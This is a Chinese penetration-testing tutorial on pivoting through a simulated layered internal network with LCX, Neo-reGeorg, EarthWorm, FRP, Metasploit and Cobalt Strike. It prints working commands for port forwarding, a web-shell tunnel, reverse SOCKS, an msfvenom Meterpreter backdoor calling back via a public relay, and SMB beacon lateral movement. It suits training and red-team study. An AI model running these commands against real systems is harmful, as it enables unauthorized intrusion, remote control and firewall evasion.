在渗透测试的内网阶段,我们常常会遇到这样的困境:拿下了边界主机的权限,却发现它背后是层层隔离的内网环境 ------ 不同网段的主机无法直接访问,防火墙严格限制了端口通信,常规的攻击手段根本无法施展。
这时候,代理与隧道技术就成了我们打通内网的 "钥匙",通过它们,我们可以把边界主机变成跳板,穿透网络隔离,一步步深入内网。本文将从核心概念讲起,带你搭建模拟靶场,实战掌握各类主流的内网代理隧道工具。
一、核心概念:搞懂代理与隧道的本质
很多人刚接触内网渗透时,总会搞混代理、隧道、正向 / 反向连接这些概念,我们用最通俗的话来解释清楚:
1.1 代理 vs 隧道
-
代理:可以理解为 "跳板机"。如果 A(攻击机)和 C(内网目标)网络不通,但是 A 能和 B(边界主机)通信,B 能和 C 通信,那么 A 就可以让 B 帮忙转发流量,实现和 C 的通信。代理的核心是 "转发请求",它可以对请求做缓存、过滤等处理。
-
隧道:解决的是 "协议被拦截" 的问题。如果 A 和 C 的通信被防火墙限制了,比如防火墙不让非 HTTP 的流量出去,那么隧道就可以把我们的原始流量加密、封装成防火墙允许的协议流量(比如 HTTP、SMB),穿过防火墙之后再解封,相当于在防火墙的规则里开了一条 "秘密通道"。
简单来说:代理解决的是 "能不能通" 的问题,隧道解决的是 "通了之后怎么绕过检测" 的问题。
1.2 正向连接 vs 反向连接
根据连接的方向,我们把代理分为两种:
-
正向连接:攻击者主动连接目标服务器。当目标有公网 IP,能被我们直接访问的时候用这种方式。
-
反向连接:攻击者开启服务,让目标服务器主动来连接我们。当目标没有公网 IP,我们无法主动连接它的时候,就用这种方式,让目标主动 "找上门来"。
1.3 端口转发
端口转发就是把一个端口收到的流量,原封不动转发到另一个端口。比如防火墙拦截了 3389 端口的流量,我们就可以把 3389 的流量转发到 80 端口,而 80 端口是防火墙允许的,这样就绕过了检测。
二、搭建模拟内网靶场
为了模拟真实的内网渗透场景,我们搭建了一个三层隔离的内网环境,完美还原了企业内网的网段隔离、防火墙限制的场景,网络拓扑如下:

整个环境包含三台主机,配置如下:
2.1 Windows 2003(边界主机)
这是我们已经拿下权限的边界主机,是我们进入内网的入口:
-
双网卡配置:
-
公网网卡:NAT 模式,IP:
10\.0\.0\.129,可以正常访问互联网,能被攻击机直接访问 -
内网网卡:LAN 区段,IP:
10\.10\.10\.10,属于10\.10\.10\.0/24内网网段,和内网的 Win7 主机通信
-
-
服务配置:开启了 IIS 和 phpstudy,搭建了 Web 服务,模拟企业的边界 Web 服务器。
2.2 Windows 7(内网跳板主机)
这是内网的第一层主机,位于边界主机和核心主机之间:
-
双网卡配置:
-
网卡 1:LAN 区段一,IP:
10\.10\.10\.110,和 2003 的内网网卡同网段,能和 2003 通信 -
网卡 2:LAN 区段二,IP:
20\.20\.20\.20,属于20\.20\.20\.0/24网段,和核心的 Win10 主机通信
-
-
防火墙规则:严格限制入站流量,只允许 80 端口的 HTTP 流量,其他所有端口的入站连接全部阻断。
2.3 Windows 10(内网目标主机)
这是我们的最终目标,位于内网最深处:
-
单网卡配置:IP:
20\.20\.20\.200,和 Win7 的第二个网卡同网段,只能和 Win7 通信 -
防火墙规则:同样严格限制入站流量,只允许 445 端口的 SMB 流量,其他端口全部阻断。
这个环境的特点是:攻击机(Kali)只能直接访问到 Windows2003 的公网 IP,完全无法直接访问 Win7 和 Win10,而且内网的防火墙层层限制,这就是我们要突破的场景。
三、实战:各类代理隧道工具的使用
接下来我们就从最简单的端口转发,到复杂的 SMB 隧道,一步步实战各类工具,打通整个内网。
3.1 LCX 端口转发:最基础的端口映射
LCX 是一款经典的端口转发工具,适合最基础的场景:把内网主机的某个端口,转发到公网,让我们可以访问到它,比如我们要访问内网主机的 3389 远程桌面,就可以用它。
操作步骤:
- 开启目标的 3389 服务 首先我们需要在目标主机开启远程桌面服务,用 MSF 的模块可以一键开启:
# 新版Kali的MSF命令,开启目标的RD服务
run post/windows/manage/enable_rdp
- 攻击机监听端口 在我们的攻击机上运行 LCX,监听本地的 2222 端口,把收到的流量转发到本地的 1234 端口:
lcx.exe -listen 2222 1234
- 目标主机转发流量 在 Windows2003 的 Webshell 上执行 LCX,把目标自己的 3389 端口的流量,转发到攻击机的 2222 端口:
lcx.exe -slave 攻击机ip 2222 127.0.0.1 3389
操作的效果如下:

- 连接目标 现在我们打开远程桌面连接,直接连接本地的
127\.0\.0\.1:1234,输入目标的管理员账号密码,就可以成功登录到 Windows2003 的远程桌面了!
这种方式的好处是,我们把 3389 这个敏感端口的流量,转发到了不被防火墙监控的端口,完美绕过了防护设备的检测,让渗透更加隐秘。
3.2 reGeorg+Proxifier:HTTP 隧道打穿内网
如果防火墙只允许 HTTP 流量,其他的 TCP 流量都被拦截了,那 LCX 就没用了,这时候我们就需要用 HTTP 隧道,把我们的 Socks 代理流量封装成 HTTP 请求,穿过防火墙。
reGeorg 就是这样一款工具,它可以把 Web 服务变成我们的隧道入口,把所有流量都伪装成 HTTP 请求,绕过防火墙的限制。
操作步骤:
- 生成隧道脚本 在攻击机上,运行 reGeorg 的脚本,生成我们需要的隧道文件:
python neoreg.py generate -k 111
执行后会生成neoreg\_servers文件夹,里面有tunnel\.php这个脚本文件。
- 上传并验证脚本 把这个脚本上传到 Windows2003 的 Web 目录下,比如我们的 phpstudy 的 pikachu 目录下,然后访问这个脚本的地址:
http://10.0.0.129:90/pikachu/tunnel.php
如果页面是空白的,右键查看源码,能看到一串随机的数字,就说明脚本正常工作了。
- 启动隧道客户端 在攻击机上启动隧道客户端,连接我们上传的脚本:
python neoreg.py -k 111 -u http://10.0.0.129:90/pikachu/tunnel.php
启动成功后,我们的本地就会开启一个 1080 端口的 Socks 代理。
- 配置代理访问内网 打开 Proxifier 代理工具,添加本地的 Socks5 代理:
127\.0\.0\.1:1080,这样我们的所有流量就会通过这个 HTTP 隧道,转发到内网。
现在,我们直接在浏览器访问10\.10\.10\.10,就可以成功访问到 Windows2003 的内网 Web 服务了,之前我们是完全访问不了的!
3.3 EW(毒液):多级代理神器
EW(EarthWorm,俗称 "毒液")是红队非常常用的一款内网代理工具,它支持正向、反向代理,还可以实现多级代理,也就是可以通过多个跳板主机转发流量,非常适合复杂的多层内网环境。
3.3.1 正向代理
当目标主机的 IP 可以被我们直接访问的时候,我们用正向代理:
- 在目标主机 Windows2003 上运行 EW,开启 socks 代理,监听 1080 端口:
ew.exe -s ssocksd -l 1080
- 然后在我们的 Proxifier 里添加代理,地址是 Windows2003 的公网 IP
10\.0\.0\.129,端口 1080,就可以直接访问内网了。
3.3.2 反向代理
如果目标主机是内网,我们无法主动连接它,就用反向代理,让目标主动来连接我们:
- 首先在攻击机上运行 EW,监听本地的 1080 端口,同时开放 888 端口等待目标连接:
ew.exe -s rcsocks -l 1080 -e 888
- 然后在目标主机 Windows2003 上运行 EW,主动连接攻击机的 888 端口:
ew.exe -s rssocks -d 10.0.0.1 -e 888
- 连接成功后,我们在 Proxifier 里添加本地的
127\.0\.0\.1:1080的代理,就可以了。目标主机会主动把内网的流量转发到我们的攻击机,我们就可以访问内网了。
3.4 FRP:开源的内网穿透神器
FRP(Fast Reverse Proxy)是现在最流行的开源内网穿透工具,基于 Go 语言开发,支持 TCP、UDP、HTTP、HTTPS 等多种协议,性能非常好,不仅可以用来把内网服务暴露到公网,在渗透测试里也是非常常用的隧道工具。
它的原理是通过一台有公网 IP 的服务器做中转,把内网的流量转发到我们的攻击机,架构如下:

操作步骤:
- 公网服务器配置 FRP 服务端 我们需要一台有公网 IP 的服务器(比如阿里云、腾讯云的服务器),用来做中转:
-
下载 FRP 的最新 release 包,解压到公网服务器
-
配置服务端的配置文件
frps\.toml:
bindPort = 5000
- 运行服务端:
./frps -c frps.toml
记得在云服务器的安全组里放行 5000 端口。
- 攻击机配置 FRP 客户端 在我们的 Kali 攻击机上,同样下载 FRP,配置客户端的
frpc\.toml:
serverAddr = "你的公网服务器IP"
serverPort = 5000
[[proxies]]
name = "test-tcp"
type = "tcp"
localIP = "127.0.0.1"
localPort = 5566
remotePort = 8888
这个配置的意思是:把公网服务器的 8888 端口收到的流量,全部转发到攻击机的 5566 端口。 然后运行客户端:
./frpc -c frpc.toml
- 生成后门,让目标上线 现在我们用 MSF 生成后门,这个后门的连接地址是公网服务器的 IP 和 8888 端口,因为目标主机可以访问公网:
msfvenom -p windows/meterpreter/reverse_tcp lhost=公网服务器IP lport=8888 -f exe -o frp.exe
把这个后门传到目标主机运行,然后我们在攻击机上用 MSF 监听本地的 5566 端口:
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 127.0.0.1
set lport 5566
run
整个流量的逻辑链是: 受害者主机 \-\> 公网FRP服务端 \-\> 攻击机的MSF 完美绕过了内网的所有限制,目标主机的流量通过公网服务器的中转,成功到达了我们的攻击机!
3.5 MSF 自带代理:免工具的端口转发
很多时候,我们上传的第三方工具会被杀毒软件查杀,这时候我们就可以用 MSF 自带的代理功能,不需要上传任何额外的工具,就可以实现内网代理,非常隐蔽。
操作步骤:
-
首先,我们已经拿到了 Windows2003 的 Meterpreter 会话。
-
添加内网路由 让 MSF 知道,要访问
10\.10\.10\.0和20\.20\.20\.0这些内网网段,要通过当前的这个会话:
# 添加内网路由
run post/multi/manage/autoroute
# 查看路由是否添加成功
run autoroute -p
- 开启 Socks 代理 把当前的会话放到后台,然后开启 MSF 的 Socks 代理服务:
# 把会话放到后台
background
# 搜索socks代理模块
search socks
# 选择socks代理模块
use auxiliary/server/socks_proxy
# 启动代理服务
run
- 配置代理访问内网 同样,在 Proxifier 里添加本地的
127\.0\.0\.1:1080的 Socks 代理,现在我们的攻击机的所有流量,就可以通过 MSF 的会话,转发到内网,直接访问内网的主机了!
3.6 CS 代理与隧道:红队的内网渗透利器
Cobalt Strike(简称 CS)是红队最常用的后渗透工具,它的代理和隧道功能非常强大,不仅可以做基础的 Socks 代理,还可以实现 SMB 隧道,帮我们突破最严格的防火墙限制。
3.6.1 CS 的 Socks 代理
首先,当 Windows2003 的 Beacon 上线之后,我们就可以快速开启 Socks 代理:
-
在 CS 的会话列表里,选中 2003 的会话,右键 -> 代理转发 ->Socks 代理,设置一个代理端口,比如 1080。
-
然后在 Proxifier 里添加代理,地址是
127\.0\.0\.1:1080,就可以直接访问内网了,非常方便。
3.6.2 突破防火墙:让 Win7 上线
现在我们要拿下内网的 Win7 主机,但是 Win7 的防火墙只允许 80 端口的入站流量,我们如果生成一个常规的 TCP 后门,用 2222 端口,那么 Win7 的防火墙会直接拦截这个入站连接,后门根本无法上线。
这时候我们就用反向连接,把入站流量变成出站流量,绕过防火墙的入站规则:
-
在 CS 里,选中 2003 的会话,右键 -> 代理转发 -> 转发上线,填写 Win7 的内网 IP
10\.10\.10\.110,端口 2222。 -
然后生成针对这个转发的后门,传到 Win7 上运行。
这时候,Win7 的后门会主动向 2003 的 2222 端口发起连接,这是出站流量,Win7 的防火墙不会拦截出站的 80 端口?不对,是出站流量默认是允许的,而入站才会被拦截,所以这个连接可以成功建立,然后 2003 再把这个流量转发给我们的 CS 服务器,Win7 就成功上线了!
3.6.3 SMB 隧道:突破最后的 Win10 防火墙
现在到了最内层的 Win10 主机,这时候我们遇到了更麻烦的情况:
-
Win10 的防火墙只允许 445 端口的入站流量
-
Win7 和 Win10 之间,不管是正向的 TCP 连接,还是反向的 TCP 连接,都被两个主机的防火墙拦截了
这时候,常规的 TCP 隧道已经没用了,我们就需要用SMB 隧道!
SMB 隧道是通过 SMB 协议的命名管道来通信的,而 445 是 SMB 协议的默认端口,两个主机的防火墙都允许这个端口的流量,所以我们可以用它来穿透:
-
在 CS 里,新建一个 SMB 类型的监听器,端口随便填,比如 3333。
-
然后,我们用已经拿到的 Win7 的凭据,通过横向移动(比如 psexec),登录到 Win10 主机,把 Beacon 传上去。
-
Win10 的 Beacon 上线之后,它不会用 TCP 来通信,而是通过 SMB 的命名管道,把流量发给 Win7 的 Beacon,然后 Win7 再把流量转发给外层的 2003 的 Beacon,最后转发到我们的 CS 服务器。
整个过程的流量,全部都是通过 445 端口的 SMB 协议传输的,完美绕过了两个主机的防火墙,Win10 成功上线,我们终于打通了整个内网!
四、总结
内网渗透的过程,其实就是不断突破网络隔离的过程,不同的场景下,我们需要选择不同的代理隧道工具:
-
如果只是简单的转发单个端口,用 LCX 就足够了;
-
如果防火墙只允许 HTTP 流量,用 reGeorg 的 HTTP 隧道来封装流量;
-
如果是复杂的多层内网,需要多级跳板,EW 的多级代理非常好用;
-
如果有公网服务器,FRP 的性能和稳定性都是顶级的,是内网穿透的首选;
-
如果怕第三方工具被查杀,MSF 自带的代理功能可以帮你免工具实现代理;
-
如果是红队实战,CS 的 SMB 隧道可以帮你突破最严格的防火墙,打通最深层的内网。
掌握了这些技术,你就可以在层层隔离的内网里畅通无阻,一步步拿下所有的目标,完成整个内网渗透的流程。